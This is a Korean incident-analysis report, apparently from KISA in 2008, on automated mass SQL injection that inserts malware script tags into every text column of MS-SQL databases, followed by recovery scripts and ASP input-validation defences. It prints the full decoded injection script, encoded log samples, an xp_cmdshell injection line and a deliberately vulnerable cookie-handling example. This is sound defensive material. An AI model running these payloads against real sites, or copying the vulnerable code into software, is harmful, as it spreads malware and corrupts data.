< FC0DAB5BFC8ADB5C85F53514C5F496E6A F6EB0F8B0DDC0B8B7CEC0CEC7D15FBEC7BCBAC4DAB5E55FB4EBB7AE5FBBF0C0D4BCF6B9FDBAD0BCAE2E687770>

Similar documents
Microsoft Word - SKINFOSEC-CHR-026- Mass SQL Injection 탐지 우회분석 보고서.doc

게시판 스팸 실시간 차단 시스템

PowerPoint Template

로거 자료실

문서 템플릿

SKINFOSEC-CHR-028-ASP Mssql Cookie Sql Injection Tool 분석 보고서.doc

Microsoft Word - Mass SQL Injection_v.1.3._.doc

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

PowerPoint 프레젠테이션

MySQL-.. 1

< FBFF9B0A320BEC7BCBAC4DAB5E520C0BAB4D0BBE7C0CCC6AE20C5BDC1F620B5BFC7E220BAB8B0EDBCAD283131BFF E302028C8A8C6E4C0CCC1F620BEF7B

< 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 2 - 유포지탐지 국가별현황 2 - 대량경유지가탐지된유포지 TOP 악성코드유형별비율 4 - 악성코드취약점유형별비율 4 - 악성코드수집및분석결과 5 - 경유지탐지 업종별비율 9 3. 악성코

Observational Determinism for Concurrent Program Security

(Microsoft PowerPoint - NRMWFKPIIYBC [\310\243\310\257 \270\360\265\345])

Microsoft PowerPoint - 10Àå.ppt

90

untitled

Bind Peeking 한계에따른 Adaptive Cursor Sharing 등장 엑셈컨설팅본부 /DB 컨설팅팀김철환 Bind Peeking 의한계 SQL 이최초실행되면 3 단계의과정을거치게되는데 Parsing 단계를거쳐 Execute 하고 Fetch 의과정을통해데이터

<BBE7B0EDB3EBC6AE5FC7E3BAEAB0D4C0D32E687770>

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

강의 개요

Windows 8에서 BioStar 1 설치하기

< FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W

Microsoft Word - src.doc

Microsoft PowerPoint - Java7.pptx

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

AhnLab_template

Secure Programming Lecture1 : Introduction

학습목표 함수프로시저, 서브프로시저의의미를안다. 매개변수전달방식을학습한다. 함수를이용한프로그래밍한다. 2

13주-14주proc.PDF

목차 BUG 문법에맞지않는질의문수행시, 에러메시지에질의문의일부만보여주는문제를수정합니다... 3 BUG ROUND, TRUNC 함수에서 DATE 포맷 IW 를추가지원합니다... 5 BUG ROLLUP/CUBE 절을포함하는질의는 SUBQUE

10.ppt

SKINFOSEC_TECH_005_China Bot_가칭_ 악성코드 분석_v0.3.doc

제목 레이아웃

PowerPoint 프레젠테이션

Spring Boot/JDBC JdbcTemplate/CRUD 예제

PowerPoint Presentation

Microsoft Word - [Unioneinc] 특정컬럼의 통계정보 갱신_ _ldh.doc

I II III IV 웹방화벽의필요성 WAPPLES 위치 인증및수상현황 2

쉽게 풀어쓴 C 프로그래밊

Microsoft PowerPoint - 3장-MS SQL Server.ppt [호환 모드]

#WI DNS DDoS 공격악성코드분석

< F33BFF920C0CEC5CDB3DD20C4A7C7D8BBE7B0ED20B5BFC7E220B9D720BAD0BCAEBFF9BAB828C3D6C1BEBABB292E687770>

WINDOW FUNCTION 의이해와활용방법 엑셈컨설팅본부 / DB 컨설팅팀정동기 개요 Window Function 이란행과행간의관계를쉽게정의할수있도록만든함수이다. 윈도우함수를활용하면복잡한 SQL 들을하나의 SQL 문장으로변경할수있으며반복적으로 ACCESS 하는비효율역

암호내지

C# Programming Guide - Types

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

Microsoft Word - Blind Sql Injection.doc

< 목차 > Ⅰ. 개요 3 Ⅱ. 실시간스팸차단리스트 (RBL) ( 간편설정 ) 4 1. 메일서버 (Exchange Server 2007) 설정변경 4 2. 스팸차단테스트 10

슬라이드 1

??


목차 BUG DEQUEUE 의 WAIT TIME 이 1 초미만인경우, 설정한시간만큼대기하지않는문제가있습니다... 3 BUG [qp-select-pvo] group by 표현식에있는컬럼을참조하는집합연산이존재하지않으면결괏값오류가발생할수있습니다... 4

Microsoft PowerPoint - 3ÀÏ°_º¯¼ö¿Í »ó¼ö.ppt

*2008년1월호진짜

ALTIBASE HDB Patch Notes

배치프로그램에서튜닝대상 SQL 추출하기 엑셈컨설팅본부 /DB 컨설팅팀박성호 배치프로그램의성능문제를진단하기위해트레이스를사용할수없고, 개별 SQL 에대한성 능점검은비효율적인경우에어떻게배치프로그램의성능문제를제대로파악하고개선안을도 출할것인가? 복잡한로직을가지고있는프로그램 (

기술문서 작성 XXE Attacks 작성자 : 인천대학교 OneScore 김영성 I. 소개 2 II. 본문 2 가. XML external entities 2 나. XXE Attack 3 다. 점검방법 3 라.

DBMS & SQL Server Installation Database Laboratory

InsertColumnNonNullableError(#colName) 에해당하는메시지출력 존재하지않는컬럼에값을삽입하려고할경우, InsertColumnExistenceError(#colName) 에해당하는메시지출력 실행결과가 primary key 제약에위배된다면, Ins

DocsPin_Korean.pages

5장. JSP와 Servlet 프로그래밍을 위한 기본 문법(완성-0421).hwp

윈도우즈프로그래밍(1)

< FBBE7B0EDB3EBC6AE5FB5F0C6FAC6AEC6D0BDBABFF6B5E5C3EBBEE0C1A128BCF6C1A4292E687770>

sms_SQL.hwp

<C6F7C6AEB6F5B1B3C0E72E687770>

윈도우시스템프로그래밍

@OneToOne(cascade = = "addr_id") private Addr addr; public Emp(String ename, Addr addr) { this.ename = ename; this.a

강의 개요

Cloud Friendly System Architecture

JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각

WebKnight를 활용한 IIS 웹서버 보안

설명 Description 상세정보 네이버에서운영하는서비스중하나인쥬니어네이버 ( 이하쥬니버 ) 에서는쥬니버서비스와 관련하여도움을주기위한 [ 그림 1] 과같은플래시애플리케이션이서비스되고있다.[2] [ 그림 1] 쥬니어네이버에서서비스중인쥬니버도우미플래시애플리케이션 해당플래

JDBC 소개및설치 Database Laboratory

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Microsoft Word - PLSQL.doc

Windows Server 2012

TTA Journal No.157_서체변경.indd

<312E B3E2B5B520BBE7C8B8BAB9C1F6B0FC20BFEEBFB5B0FCB7C320BEF7B9ABC3B3B8AE20BEC8B3BB28B0E1C0E7BABB292DC6EDC1FD2E687770>

BEA_WebLogic.hwp

iii. Design Tab 을 Click 하여 WindowBuilder 가자동으로생성한 GUI 프로그래밍환경을확인한다.

이 장에서 사용되는 MATLAB 명령어들은 비교적 복잡하므로 MATLAB 창에서 명령어를 직접 입력하지 않고 확장자가 m 인 text 파일을 작성하여 실행을 한다

JSP 의내장객체 response 객체 - response 객체는 JSP 페이지의실행결과를웹프라우저로돌려줄때사용되는객체이다. - 이객체는주로켄텐츠타입이나문자셋등의데이터의부가정보 ( 헤더정보 ) 나쿠키 ( 다음에설명 ) 등을지정할수있다. - 이객체를사용해서출력의방향을다른

C++ Programming

Microsoft PowerPoint - e pptx

예제 1.1 ( 관계연산자 ) >> A=1:9, B=9-A A = B = >> tf = A>4 % 4 보다큰 A 의원소들을찾을경우 tf = >> tf = (A==B) % A

Microsoft PowerPoint - Perpect C 02.ppt [호환 모드]

쉽게 풀어쓴 C 프로그래밍

5장 SQL 언어 Part II

PowerPoint 프레젠테이션

Tablespace On-Offline 테이블스페이스 온라인/오프라인

Microsoft PowerPoint - chap06-2pointer.ppt

SBR-100S User Manual

제이쿼리 (JQuery) 정의 자바스크립트함수를쉽게사용하기위해만든자바스크립트라이브러리. 웹페이지를즉석에서변경하는기능에특화된자바스크립트라이브러리. 사용법 $( 제이쿼리객체 ) 혹은 $( 엘리먼트 ) 참고 ) $() 이기호를제이쿼리래퍼라고한다. 즉, 제이쿼리를호출하는기호

PowerPoint 프레젠테이션

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - CSharp-10-예외처리

Microsoft PowerPoint - logo_3.ppt [호환 모드]

Transcription:

자동화된 SQL Injection 공격을통한 악성코드대량삽입수법분석 (Mass SQL Injection) 2008. 12 본보고서의전부나일부를인용시, 반드시 [ 자료 : 한국정보보호진흥원 (KISA)] 를명시하여주시기바랍니다. - 1 -

< 차례 > 1. 개요 3 2. 사고원인분석 4 가. 대량악성코드삽입사고결과예시 4 나. SQL Injection 취약점 5 다. 악성코드삽입공격스크립트분석 6 라. SQL 명령주입지점의다양화 8 1) 사용자입력값에대한 SQL Injection 8 2) HTTP Header에대한 SQL Injection 8 3. 복구및대응방안 12 가. 복구방법 12 1) 데이터베이스백업본을사용한복구 12 2) 컬럼단위복구방법 12 3) 일괄복구스크립트사용 13 나. 대응방안 15 1) 동적 SQL사용지양 15 2) 안전한웹사이트설계와구현 15 3) 웹서버보안강화 17 4) 웹방화벽활용 20 5) 웹보안취약점점검 21 4. 맺음말 24-2 -

1. 개요 인터넷홈페이지를대상으로지속되고있는개인정보유출사고나악성코드삽입사고는 SQL Injection 취약점으로인해발생한경우가대부분이다. SQL Injection 공격 은 악성 SQL문주입공격 으로도불리며, 홈페이지와데이터베이스가데이터를주고받을때적절한입력값검증을하지않아공격자가주입한 SQL 명령어가실행되면서발생한다. 이러한 SQL Injection 공격은지금도계속해서지속되고있고, 데이터베이스에악성코드가삽입된사고사례도분석된바있었다. [1] 하지만최근자동화된형태의공격수법과도구도발견되고있고수많은홈페이지를대상으로악성코드를대량으로삽입하는형태로확산되고있다. SQL Injection을이용한악성코드대량삽입사고의특징 데이터베이스에악성코드를대량으로삽입 자동삽입스크립트를사용하여한번에악성코드를대량삽입 POST나 HTTP Header( 쿠키, 리퍼러등 ) 를이용한경우는공격로그를찾기어려움 악성코드삽입과정에서데이터의손실또는유실발생 이러한특징을가진 SQL Injection 공격들은 Mass SQL Injection 이라는별칭도갖게되었으며, 지난 1월 SANS ISC에서대량악성코드삽입사고에대해분석자료 [2] 가공개된이후, 이와관련된사고사례나분석자료가잇따라발표되고있다. [3][4] 하지만결과적으로피해의정도만다를뿐이지, 그원인은변하지않았으며, 자동화된공격수법또한과거의 SQL Injection 공격을응용한것이다. [1] 홈페이지 > 2006 년 09 월인터넷침해사고동향및분석월보 > 악성코드삽입유형분석, p.46 [2] http://isc.sans.org/diary.html?storyid=3823 [3] http://www.computerworld.com/action/article.do?command=viewarticlebasic&taxonomyid=16&articleid= 9055858&intsrc=hm_topic [4] http://www.trustedsource.org/blog/142/new-sql-injection-attack-infecting-machines - 3 -

본기술문서에서는올해초부터발생하고확산되었던자동화된 SQL Injection 공격으로인한악성코드대량삽입사고에대해그원인과대응방안을살펴본다. 참고로, 본문서는윈도우즈의 IIS 및 ASP 에서 MS-SQL 서버를사용하는운영 환경을전제로기술하였다. 2. 사고원인분석 가. 대량악성코드삽입사고결과예시 과거에는웹사이트에접속하는 PC를감염시키기위해초기페이지나방문자가많은페이지를대상으로그페이지파일에악성코드를삽입하였다. 하지만본문서에서다루는악성코드대량삽입사고는데이터베이스의문자형컬럼의자료값모두에악성코드의유포지정보 (URI) 가삽입된다. - 4 -

나. SQL Injection 취약점 인터넷홈페이지는웹서버의어플리케이션을통해서비스를제공하고이러한응용계층에서의보안허점을웹보안취약점이라고한다. 그리고인터넷홈페이지침해사고의대부분이이러한웹보안취약점으로인해발생하고있으며, 그원인으로는 WASC(Web Application Security Consortium) 의통계를보더라도, 웹어플리케이션이전달받아처리하는입력값의검증절차문제가가장많다. [1] 그리고입력값검증문제의대표적인예로는 SQL Injection 공격과 XSS공격을들수있으며, SQL Injection 취약점이존재하는경우에는로그인인증우회, 시스템명령어실행, 회원개인정보와같은 DB 자료유출등의피해가발생한다. 예를들어, SQL Injection 취약점이있는웹사이트를통해 MS-SQL 서버의확장프로시저중 xp_cmdshell 을이용해시스템명령어를실행시키면윈도우즈 OS의내장명령어들을공격자가손쉽게사용할수있다. [2] 아래는그사례로써 SQL Injection 취약점을악용하여시스템명령을실행한당시의웹로그이다. 2008-05-23 09:49:51 W3SVC858317 XX.55.211.233 GET /servic e/read3.asp idx=47';create TABLE [X_9]([id] int NOT NULL IDENTITY (1,1), [ResultTxt] varchar(1024) NULL);insert in to [X_9](ResultTxt) EXEC MASTER..XP_CMDSHELL 'Dir C:\';in sert into [X_9](ResultTxt) values ('g_ov');exec master..s p_dropextendedproc 'xp_cmdshell'-- 80-200 0 0 이외에도다양한 SQL Injection 공격수법이있으며이에대한자세한내용은 가발간한자료에서상세히기술한바있다. [3][4] [1] Web Application Security Statistics Project http://www.webappsec.org/projects/statistics/ [2] 홈페이지 > 웹보안 4종가이드 중 홈페이지개발보안가이드 제 3장 6절 악의적인명령어주입공격 (SQL Injection) 중 (2) MS-SQL상에서의시스템명령어실행 [3] 홈페이지 > 사고노트 > 문서번호 IN2005014, "SQL Injection 취약점을이용한윈도우즈웹서버사고사례 ", 2005.07.30 [4] 홈페이지 > 웹보안 4종가이드 중 " 웹서버구축보안점검가이드 제 5장 2절 SQL Injection점검 - 5 -

다. 악성코드삽입공격스크립트분석 SQL Injection 취약점을이용하여대량의악성코드를삽입하는스크립트는여러종류가발견되었다. 대부분의경우스크립트의내용상거의유사하기때문에, 그중대표적인사례를들어실행방식을분석한다. 발견된공격스크립트형태아래의스크립트는웹로그에서확인한것이며, 본래의실행구문을공격자가 CAST 함수로인코딩한공격형태이다. DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C4043205641524348415 -- 중간생략 -- 626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- 아래는보안장비우회나로그분석시눈에띄기어렵게하는등의이유로난 독화 (obfuscation) 한형태이지만, 결국실행내용은다르지않다. declare%20@t%20varchar(255),@c%20varchar(255)%20declare% 20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.Name,b.Name%2 -- 중간생략 -- ose%20table_cursor%20deallocate%20table_cursor;-- 인코딩되어있는공격스크립트를디코딩하면다음과같다. DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cur sor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,sys columns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_C ursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FET CH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTR IM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=hxxp:/ /malcode/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor - 6 -

공격스크립트실행분석앞서예시한공격스크립트들은대부분아래의흐름도와같이실행된다. 공격스크립트의실행분석결과에서몇가지주목해야할특징이있다. 우선, 임시변수를선언하여테이블명과컬럼명을추출하기위해 DBMS의시스템테이블인 Sysobjects [1] 와 Syscolumns [2] 에저장되어있는데이터베이스정보를수집 (select) 하는부분이다. 이두테이블은데이터베이스에대한개체정보와컬럼에대한정보등을담고있다. 그러므로필요하지않다면, 이두테이블에대한조회권한을제거하는것만으로도악성코드삽입을예방할수있으며, 자세한보안강화 [1] http://msdn.microsoft.com/en-us/library/aa260447(sql.80).aspx [2] http://msdn.microsoft.com/en-us/library/aa260398(sql.80).aspx - 7 -

방법은대응방안에서살펴본다. 공격스크립트에서 Sysobjects와 Syscolumns 테이블에서추출하고자하는정보는웹서비스용으로개발자가생성한테이블 [1] 정보와악성코드를삽입하기위해문자형으로생성된컬럼 [2] 정보이다. 테이블과컬럼정보를얻은후에는악성코드삽입대상컬럼의자료값을강제로자료형 (data type) 변환한후악성코드를붙여업데이트한다. 이과정에서자료형변환이잘못되어자료값이손상되거나유실될수있다. 예를들어원본컬럼이 "TEXT" 형으로설정된상태에서악성코드삽입을위한임시변수의크기를초과하는경우는그차이만큼자료가유실된다. 라. SQL 명령주입지점의다양화 1) 사용자입력값에대한 SQL Injection 지금까지 SQL Injection 공격은 HTTP의 GET이나 POST 메소드를통해취약점이존재하는인자에 SQL문을주입하는형태가대부분이었다. 아래는 GET 메소드를통해 SQL Injection을시도한당시의웹로그이다. 69.149.XXX.53 - - [08/Jun/2008:22:57:15 +0900] "GET /tel/h0000.asp?hotelid=126;declare @SVARCHAR(4000);SET @S=CAST(0 x4445434c415245204054205641524348415228323535292c40432056415243484152 2832353529204445434C415245205461626C655F437572736F7220435552534F52204 64F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F62 6A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E787 -- 이하생략 -- 2) HTTP Header에대한 SQL Injection 최근발견되는악성코드대량삽입사고들은 SQL 명령이주입되는지점이다양해지고있다. 즉, HTTP Header에포함되어있는쿠키 (cookie) 나리퍼러 (referer) 를통한 SQL Injection 공격도시도되고있다. [1] xtype = 'u' ; U:User table [2] b.xtype=99 OR b.xtype=35 OR b.xtype=167 ; 99:ntext, 35:text, 167:varchar - 8 -

쿠키에대한 SQL Injection 아래의트래픽로그는 HTTP Header를통해 SQL Injection공격이시도된사례로써쿠키에서사용된인자값에 SQL 명령주입을시도한경우이다. 쿠키값도서버측에서데이터베이스와연동되는부분이있다면취약점이존재할수있다. 쿠키의 SQL Injection 취약점을설명하기위해간단한웹페이지를예를들어본다. 웹사이트의프로그램소스는아래와같으며, ID와 Password가일치하면로그인을허용하면서접속자의 ID 값을쿠키에생성한다. 그리고로그인처리를수행하는페이지에서는 SQL Injection방지를위해 ID나 Password값에대해 InputFilter라는함수로보호했다. <% Dim UserID : UserID = InputFilter(Request.Form("UserID")) ' SQL Injection방어를위해 InputFilter사용 Dim UserPW : UserPW = InputFilter(Request.Form("UserPW")) Dim Result : Result = CheckLogin(UserID, UserPW) If Result = True Then Response.Cookies("www")("userid") = UserID Else Response.Write " 인증실패 " End If %> 아래는입력값에대한검증절차를수행하는 InputFilter함수이며, 이함수를사용하여입력값을검사한다면, 아래의예시코드에서명시한대로입력값이숫자와 영문자일경우에만허용한다. - 9 -

<% SQL Injection방어를위한 InputFilter 함수이며정수, 알파벳만입력가능 Function InputFilter(str) Dim i, ret ret = TRUE For i = 1 To Len(str) If Not((Asc(Mid(str, i, 1)) >= 48 And Asc(Mid(str, I, 1)) <= 57) Or (Asc(Mid(str, i, 1)) >= 65 And Asc(Mid(str, i, 1)) <= 90) Or (Asc(Mid(str, i, 1)) >= 97 And Asc(Mid(str, i, 1)) <= 122)) Then ret = FALSE End If -- 이하생략 -- 참고로, 위의입력값검증함수에서허용하는범위는 ASCII값으로변환하였을때 48~57은숫자, 65~90은영문대문자, 97~122는영문소문자를뜻한다. 이제접속자가게시물을작성하게되면, 아래의프로그램소스와같이제목과게시내용을입력받으며, 이때제목이나게시내용에혹시라도 SQL Injection 문자열이포함되어있는지검증하기위해 InputFilter 함수를사용했다. 그러므로제목이나게시내용은안전하게데이터베이스에전달될수있다. <% Dim Title : Title = InputFilter(Request.Form("Title")) Dim Content : Content = InputFilter(Request.Form("Content")) Dim Writer : Writer = Request.Cookies("www")("userid") ' 쿠키는그대로가져와서사용 SQL = "Insert Into Board (" SQL = SQL & "Title, Content, Writer " SQL = SQL & ") Values ( " SQL = SQL & " '" & Title & "', '" & Content & "', '" & Writer & "') " Db.Execute SQL ' SQL Injection 취약점발생!! %> 그러나쿠키값은상대적으로안전하다고생각해서입력값검증을하지않았기 때문에결국 SQL Injection 취약점이존재하는결과를초래했다. - 10 -

참고로, SQL Injection 관련사고를분석하면서웹방화벽이있음에도침해사고가발생한경우가다수있어웹방화벽의문제가있는지분석해보았으나, 웹방화벽의오류나버그가아니라운영자가 HTTP Header에대한공격차단기능을활성화시키지않은채로운영되고있었기때문에발생한사례였다. 예를들어, 윈도우즈 IIS 운영환경에서사용하는공개웹방화벽인 WebKnight의경우에도 Header Injection관련기능을활성화하지않으면쿠키나리퍼러의 SQL Injection공격을탐지하거나차단할수없다. 이에대한구체적인설정방법은대응방안에서살펴본다. 리퍼러에대한 SQL Injection HTTP Header 중리퍼러의정보를데이터베이스에입력하거나활용하는경우도마찬가지로 SQL Injection 취약점이존재할수있다. 리퍼러정보는페이지요청직전의접속정보를담고있기때문에마케팅이나웹사이트분석을위해많이활용하고있다. 아래의그림은리퍼러정보에 SQL Injection 취약점이존재하는지확인해본결과이다. 리퍼러값에작은따옴표 ( ) 를임의로입력하여서버내부오류를유발시킨결과로미루어볼때, 리퍼러에 SQL Injection취약점이존재한다고추정할수있었으며, 실제프로그램소스를분석한결과에서도취약점이있음을확인하였다. 그러므로어떠한경로를통해서입력된값이든검증절차가반드시필요하다. - 11 -

3. 복구및대응방안 가. 복구방법 1) 데이터베이스백업본을사용한복구침해사고가발생하기이전의백업본이있다면그백업본을이용하여복구하는것이가장빠를것이다. 그러나실시간으로갱신되는데이터베이스의특성상핫백업과같이백업도실시간으로이루어지고있다면다행이지만, 대부분의경우백업된시점이후의자료유실이불가피하다. 그러므로백업본으로복구할때에는반드시자료유실에대한충분한검토가필요하다. 예를들어, 일일백업이새벽 3시에이루어지고있던데이터베이스라면침해사고가오후 1시에발생한경우 10시간동안갱신된자료의유실에대해고려해야한다. 2) 컬럼단위복구방법지금까지발견된악성코드삽입사고는아무리많은레코드에악성코드가삽입됐더라도특정악성코드유포지 (URI) 를담고있었기때문에 UPDATE SQL 명령문을사용해도충분히복구할수있다. 그러나실제적용전에는반드시시험을거친후적용해야한다. Update [ 테이블명 ] set [ 컬럼명 ]=replace([ 컬럼명 ],'[ 삭제하고자하는악성코드문자열 ]','') 예 > Update freebbs set title=replace(title,'<script src=hxxp://url/ b.js></script>','') 만약저장되어있던자료가 ntext, nvarchar와같이유니코드를지원하는등별도의인코딩방식으로저장되어있는경우, 자료형변환을통해삽입된악성코드를좀더수월하게찾아내고제거할수있다. - 12 -

다만, 자료형변환에서사용하는임시변수의크기를충분히지정해야추가적인자료유실을예방할수있다. Update [ 테이블명 ] Set [ 컬럼명 ] = replace(cast([ 컬럼명 ] as varchar(8000)), '[ 삭제하고자하는악성코드문자열 ]', '') 예 > Update freebbs Set contents = replace(cast(contents as varchar(8000)), '<script src=hxxp://url/b.js></script>', '') 참고로 MS SQL 2005 이상에서는 varchar(max) 를사용할수있으며, 이외에도 다양한자료형에대해고려해야하므로, SQL 서버에서사용하는큰값자료형 문서를참고하고, UPDATETEXT 문을사용하는것도함께고려한다. [1][2] 3) 일괄복구스크립트사용컬럼단위의복구스크립트는복구대상컬럼이많은경우, 적지않은시간이필요하기때문에악성코드삭제를더빠르게수행하고자한다면일괄복구스크립트를참조하여적용한다. [1] MS-SQL에서사용하는큰값자료형 : http://msdn.microsoft.com/ko-kr/library/ms178158.aspx [2] MS-SQL UPDATETEXT: http://msdn.microsoft.com/ko-kr/library/ms189466.aspx - 13 -

-- Mass SQL Injection 피해 DB 일괄복구스크립트, 한국마이크로소프트제공 -- 사고의특성상 DB 자료값들이 varchar 또는 nvarchar 등으로형변환되거나제한된임시공간에저장되는과정이있어자료의유실이나손상이발생합니다. -- 그러므로, 본복구스크립트는이러한전형적인 Mass SQL Injection 피해를입은 DB의복구에만사용하시기바랍니다. -- 본복구스크립트는 DB관리자와충분히검토하신후적용하셔야하며, 이에대한책임은전적으로사용자에게있습니다. -- Mass SQL Injection에대한자료는 홈페이지 (www.krcert.or.kr) 보안공지또는기술문서를참조하시기바랍니다. 2008. 11, webcheck@krcert.or.kr declare @tab varchar(255), @col varchar(255), @owner varchar(255), @type int declare table_cursor cursor for select so.name, sc.name, sc.xtype, su.name from sysobjects so inner join syscolumns sc on so.id = sc.id inner join sysusers su on so.uid = su.uid where so.xtype='u' and (sc.xtype=99 or sc.xtype=35 or sc.xtype=231 or sc.xtype=167) open table_cursor fetch next from table_cursor into @tab, @col, @type, @owner while(@@fetch_status=0) begin -- varchar, text 또는 nvarchar, ntext 일경우 MS-SQL 2005 이상의환경이라면 varchar(max) 또는 nvarchar(max) 으로변경하여사용 -- 악성코드부분을실제삭제하려는악성코드로수정 ( 악성코드예 : <script src=hxxp://malcode.tld></script>) if (@type = 35 or @type = 167) exec('update ' + @owner + '.[' + @tab + '] set [' + @col + '] = replace(convert(varchar(8000), [' + @col + ']), '< 악성코드 >','''')') else exec('update ' + @owner + '.[' + @tab + '] set [' + @col + '] = replace(convert(nvarchar(4000), [' + @col + ']), '< 악성코드 >','''')') print '[' + @col + ']' + ' column of ' + @owner + '.' + @tab + ' has been updated.' fetch next from table_cursor into @tab, @col, @type, @owner end close table_cursor deallocate table_cursor 위의일괄복구스크립트도복구대상데이터베이스에직접적용하기전에문제가없는지반드시테스트환경에서확인을거쳐야한다. - 14 -

일괄복구스크립트에서도강제형변환을사용했기때문에공격스크립트처럼데이터의유실이발생할소지가있다. 하지만앞서분석한형태의공격스크립트였다면이미임시변수의크기에맞게데이터가조정된상태이므로추가적인데이터의유실은없을것이다. 나. 대응방안 1) 동적 SQL사용지양데이터베이스와의연동부분에서는동적 SQL을더이상사용하지말고저장프로시저를사용해야한다 [1][2]. 지금까지도많이사용되고있는동적 SQL 완성방식은변수의입력값을연결시켜 SQL문을완성 (Concatenation of SQL) 시키는형태이므로공격자의 SQL문주입이매우용이하다. 그러나저장프로시저를통해데이터베이스연동을구현한다면, 이미프로시저내부에서입력값에대한자료형검증이이루어진다. 또한해당프로시저의내부에서만영향을끼치기때문에보안측면에서도더욱더안전하고, 성능이나유지보수측면에서도대단히효과적이다. 2) 안전한웹사이트설계와구현 SQL Injection 취약점은입력값검증절차문제에기인하므로, 개발단계에서부터반드시모든입력값에대해적절한검증절차를설계하고구현해야한다. 예를들어게시판의이름을처리해야하는페이지가있다면게시판이름에대한입력값에대해다음의예시와같이검증할수있다. 간략히검증과정을요약하면, 입력값의크기를검사하고특수문자가있는경우위험하지않은문자로치환한후입력값이허용범위내에존재하는지검사하는방식이다. 게시판이름처리용검증함수예시 입력값을전달받을변수를선언하고가장먼저 LenStr 함수를사용하여입력값이 10 자이내인지검증한다. [1] http://www.microsoft.com/korea/msdn/msdnmag/issues/2004/sqlinjection/default.aspx> [2] http://msdn.microsoft.com/ko-kr/library/bb669058.aspx - 15 -

Dim bbstitle : bbstitle = (InputFilter(ReplaceChar(LenStr(Request.QueryString( title"),10))) 특수문자치환함수예시입력값에부적절한특수문자가있는지검사하여서버나브라우저에서실행되지않는안전한코드로치환한다. 예를들어작은따옴표 ( ) 나부등호 (<,>) 를입력하더라도 HTML에서표현가능한문자코드로치환되므로서버나브라우저에서는프로그램의일부로써실행되지않고화면에표시만한다. 그러므로정상적인접속자의입장에서는웹브라우저에서동일하게나타내주기때문에불편함이없다. [1] Function ReplaceChar(str) ReplaceChar = "" If str <> "" Then str = replace(str, "<", "&lt") str = replace(str, ">", "&gt") str = replace(str, """, """) str = replace(str, " ", " ") str = replace(str, "$", "$") str = replace(str, "%", "%") str = replace(str, "'", "&#39;") str = replace(str, "/", "/") str = replace(str, "(", "(") str = replace(str, ")", ")") str = replace(str, ",", ",") End If ReplaceChar = str End Function 허용범위검증함수예시입력값이적절한허용범위에속하는지확인하는함수이다. 허용할범위만정의하여그외의입력값은모두예외처리하는구조이므로공격패턴의변화에의존적이지않다. [1] http://www.w3.org/tr/html4/charset.html#h-5.3.2-16 -

Function InputFilter(str) ' 정수, 알파벳, &, #, ; 만허용 Dim i, ret ret = TRUE For i = 1 To Len(str) If Not((Asc(Mid(str, i, 1)) >= 48 And Asc(Mid(str, i, 1)) <= 57) Or (Asc(Mid(str, i, 1)) >= 65 And Asc(Mid(str, i, 1)) <= 90) Or (Asc(Mid(str, i, 1)) >= 97 And Asc(Mid(str, i, 1)) <= 122) Or Asc(Mid(str, i, 1)=35 Or Asc(Mid(str, i, 1)) = 38 Or Asc(Mid(str, i, 1)) = 59) Then ret = FALSE End If Next If ret = TRUE Then titlecheck = str Else titlecheck = 0 Response.Write "<script>alert(' 부적절한값이입력되었습니다.'); history.back();</script> Response.End End If End Function 만약이러한허용범위명시방식또는 White List로검증하는 Positive Filtering 방식으로검증하지않고, 거부나차단대상을나열하는허용불가명시방식또는 Black List로검증하는 Negative Filtering 방식으로구현한다면지속적으로거부할대상을일일이추가해주어야하는어려움이발생한다. 그러므로반드시허용할대상을명시하고그이외의경우는예외처리를해야시간이나비용면에서도훨씬효과적이다. 3) 웹서버보안강화 SQL Injection 에대한근본적인문제해결을위해서는프로그램보완조치가 반드시필요하지만, 웹서버의보안강화설정을통해서도보완적인효과를볼수있다. 자세한오류내용표시차단 IIS 웹서버에서는기본적으로웹서비스의오류가발생할때, 자세한오류메시지를접속자에게표시하게되어있다. 그러므로이설정을변경하여공격자가오류메시지를통해유용한정보를수집할수없도록수정해야한다. - 17 -

